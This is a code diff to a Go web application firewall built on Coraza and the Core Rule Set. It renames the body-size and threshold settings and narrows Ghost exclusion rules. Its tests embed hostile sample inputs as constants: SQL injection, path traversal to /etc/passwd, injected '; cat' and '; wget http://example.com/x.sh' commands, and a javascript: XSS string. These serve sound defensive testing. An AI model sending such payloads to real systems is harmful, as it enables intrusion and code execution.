// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
// without the spaces at the start of the next.
|
||||
const directives = `
|
||||
# The engine only detects. sww compares the request's anomaly
|
||||
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
|
||||
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||
SecRuleEngine DetectionOnly
|
||||
SecRequestBodyAccess Off
|
||||
@@ -224,10 +224,9 @@ type Params struct {
|
||||
// DisabledRules are the ids of the rules switched off
|
||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||
DisabledRules []int
|
||||
// BodyInspectionSize is the most of a request body the Core Rule Set
|
||||
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
|
||||
// and it reads none.
|
||||
BodyInspectionSize int64
|
||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
BodyLimit int64
|
||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// there is none.
|
||||
@@ -337,8 +336,8 @@ func checkExclusions(exclusions string) error {
|
||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyInspectionSize int64
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
// appsByHostname are the names of the apps each hostname serves, by
|
||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||
appsByHostname map[string][]string
|
||||
@@ -346,14 +345,14 @@ type CoreRuleSet struct {
|
||||
|
||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' body inspection size, and with params'
|
||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||
// file is an error if it cannot be read or does not parse, or if
|
||||
// checkExclusions refuses it.
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyInspectionSize > 0 {
|
||||
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
|
||||
if params.BodyLimit > 0 {
|
||||
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
||||
}
|
||||
|
||||
exclusions := ""
|
||||
@@ -397,9 +396,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
}
|
||||
|
||||
return &CoreRuleSet{
|
||||
engine: engine,
|
||||
bodyInspectionSize: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
engine: engine,
|
||||
bodyLimit: params.BodyLimit,
|
||||
appsByHostname: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -482,19 +481,18 @@ func (c *CoreRuleSet) Inspect(
|
||||
}
|
||||
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||
// JSON and XML, which it reads only when they are no longer than that,
|
||||
// since they cannot be read in part.
|
||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||
// the error that ended the reading early, if one did.
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||
// when they are no longer than that, since they cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyInspectionSize == 0 {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -511,9 +509,9 @@ func (c *CoreRuleSet) readBody(
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
|
||||
@@ -919,10 +919,6 @@ const retypeKey = "retype"
|
||||
// system files (930120) holds.
|
||||
const htaccess = ".htaccess"
|
||||
|
||||
// binSh is the shell path /bin/sh as a query or form value, which the rule for
|
||||
// shell paths (932160) refuses.
|
||||
const binSh = "%2Fbin%2Fsh"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
@@ -1093,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1171,18 +1166,15 @@ func misfiringPasswords(t *testing.T) []string {
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -1205,7 +1197,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
@@ -1225,7 +1217,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
@@ -1315,7 +1307,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1372,7 +1364,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1408,7 +1400,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -1488,7 +1480,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
||||
}
|
||||
|
||||
// A command after a ";" in q is still refused on each of these paths.
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, target := range []string{
|
||||
"/alice?tab=repositories&q=",
|
||||
@@ -1513,12 +1505,12 @@ const (
|
||||
)
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1580,7 +1572,7 @@ func wordpressAttackTargets(attack string) []string {
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
@@ -2318,9 +2310,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2343,13 +2334,12 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -2403,7 +2393,7 @@ func wantBody(
|
||||
}
|
||||
}
|
||||
|
||||
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
off, on := atDefaults(t), readingBodies(t)
|
||||
@@ -2423,7 +2413,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2436,20 +2426,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2459,7 +2449,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2479,10 +2469,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2539,7 +2529,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2758,7 +2748,7 @@ func giteaBranchNamesInBodies() []nameInBody {
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -2859,7 +2849,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2877,7 +2867,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2890,10 +2880,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2903,7 +2890,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1],
|
||||
body[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2922,15 +2909,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2945,8 +2929,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
@@ -2958,11 +2941,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
||||
)
|
||||
if err != nil {
|
||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter
|
||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||
# cover a body field of the same name whatever the query holds, and only those
|
||||
# below it need a query without that name.
|
||||
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
|
||||
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
||||
# They skip these rules:
|
||||
# 932120: fix-powershell-module
|
||||
# 932260: feat/docker-support
|
||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
|
||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
|
||||
# nothing when the query has a parameter of the same name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||
"id:900666,phase:1,pass,nolog,chain"
|
||||
|
||||
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
|
||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||
"/alice/-/packages/npm/x?q=",
|
||||
"/alice/tools/branches?other=",
|
||||
} {
|
||||
for _, value := range slices.Concat([]string{binSh}, hardValues) {
|
||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||
}
|
||||
|
||||
@@ -3,12 +3,11 @@
|
||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
||||
# a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
#
|
||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||
# and members call /members/api/. The admin calls ActivityPub, a service of its
|
||||
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
|
||||
# and members call /members/api/. Coraza names a field of a JSON body by its
|
||||
# path, so the title of the first post saved is json.posts.0.title.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||
@@ -18,22 +17,11 @@
|
||||
SecRule &TX:app_ghost "@eq 0" \
|
||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
||||
|
||||
# filter, a query in Ghost's own filter language, skips seven rules on the
|
||||
# Admin API and the Content API:
|
||||
# 932120: filter=tag:powershell, filter=name:~'powershell'
|
||||
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
|
||||
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
|
||||
# post picker sends when a person types that title
|
||||
# 932380: filter=title:~'python3 & powershell'
|
||||
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
||||
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
||||
"id:900350,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:filter"
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
||||
|
||||
# search, the search for a member by name or address, skips four rules on the
|
||||
# Admin API:
|
||||
@@ -57,61 +45,10 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||
|
||||
# The query fields that filter the analytics skip the eight rules that 900353
|
||||
# lists, on /ghost/api/admin/stats/:
|
||||
# 932120: source=powershell.example.com
|
||||
# 932235, 932260: utm_campaign=powershell & python3
|
||||
# 932250: utm_term=ls -la
|
||||
# These fields filter the figures by the site a visit came from, or a
|
||||
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
||||
# utm_term.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900367,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
||||
|
||||
# pathname, the page the analytics show, skips three rules on
|
||||
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
||||
# 930120: pathname=/tag/proc/
|
||||
# 932120: pathname=/python3-and-powershell/
|
||||
# 932260: pathname=/tag/python3/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900385,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
||||
|
||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900368,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
||||
|
||||
# query, a search for an account in ActivityPub, skips the eight rules that
|
||||
# 900353 lists: query=python3, query=@powershell@example.com.
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
||||
"id:900369,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
||||
|
||||
# The fields a person types plain text into skip eight rules on the Admin API,
|
||||
# which refused words that name commands and files:
|
||||
# The fields a person types plain text into skip seven rules on the Admin API:
|
||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||
# 932120: the page's slug about-python3-powershell-htaccess
|
||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||
# 932235: the title "powershell & python3"
|
||||
# 932260: the tag python3
|
||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
||||
# These fields hold plain text:
|
||||
@@ -127,12 +64,11 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
